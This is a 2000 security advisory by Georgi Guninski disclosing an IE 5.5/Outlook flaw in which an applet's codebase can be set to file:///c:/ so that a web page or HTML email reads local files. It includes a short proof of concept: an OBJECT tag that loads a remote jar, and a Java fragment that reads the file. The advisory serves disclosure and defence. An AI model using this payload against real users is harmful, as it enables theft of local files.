Georgi Guninski security advisory #24, 2000
IE 5.5/Outlook java security vulnerability - reading arbitrary local
files and URLs
Systems affected:
IE 5.5/Outlook/Outlook Express - probably other versions, have not
tested
Risk: High
Date: 18 October 2000
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
Description:
There is a security vulnerability in IE 5.5/Outlook/Outlook Express
which allows
reading local files, arbitrary URLs and local directory structure after
viewing a
web page or reading HTML message.
Details:
The problem is the possibility for specifying arbitrary codebase for
an applet
loaded from <OBJECT> tag and a jar file. Applets may read URLs from
their codebase and communicate
with hosts from the codebase.
The following code:
<OBJECT CLASSID="JAVA:gjavacodebase.class" WIDTH=590>
<PARAM NAME="ARCHIVE" VALUE="http://www.guninski.com/gjavacodebase.jar">
<PARAM NAME="CODEBASE" VALUE="file:///c:/">
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</OBJECT>
sets the applet's codebase to file:///c:/
This is not Java language problem and I suppose not a problem in Microsoft's
VM
but a problem in the way codebase is set by IE.
If someone knows if this vulnerability allows writing to files or executing
programs
please let me know.
The code is:
---------javacodebase1.html------------------------------------------
<OBJECT CLASSID="JAVA:gjavacodebase.class"
WIDTH=590>
<PARAM NAME="ARCHIVE"
VALUE="http://www.guninski.com/gjavacodebase.jar">
<PARAM NAME="CODEBASE"
VALUE="file:///c:/">
<PARAM NAME="URL"
VALUE="file:///c:/test.txt">
</OBJECT>
--------------------------------------------------------------------- |
--------gjavacodebase.java-------------------------------------------
......
try
{
u = new URL(getParameter("URL"));
InputStream is=u.openStream();
byte ba[]=new byte[1000];
int l=is.read(ba);
InputStream os=u.openConnection().getInputStream();
String s1=new String(ba,0,l);
print(u.toString());
print(s1);
}
.......
--------------------------------------------------------------------- |
Workaround:
Disable Java
Demonstration is available at:
http://www.guninski.com/javacodebase1.html
Java source
Vendor status:
Microsoft was contacted on morning of 14 October and is working on
a fix for this vulnerability,
I don't know when a patch shall be released. |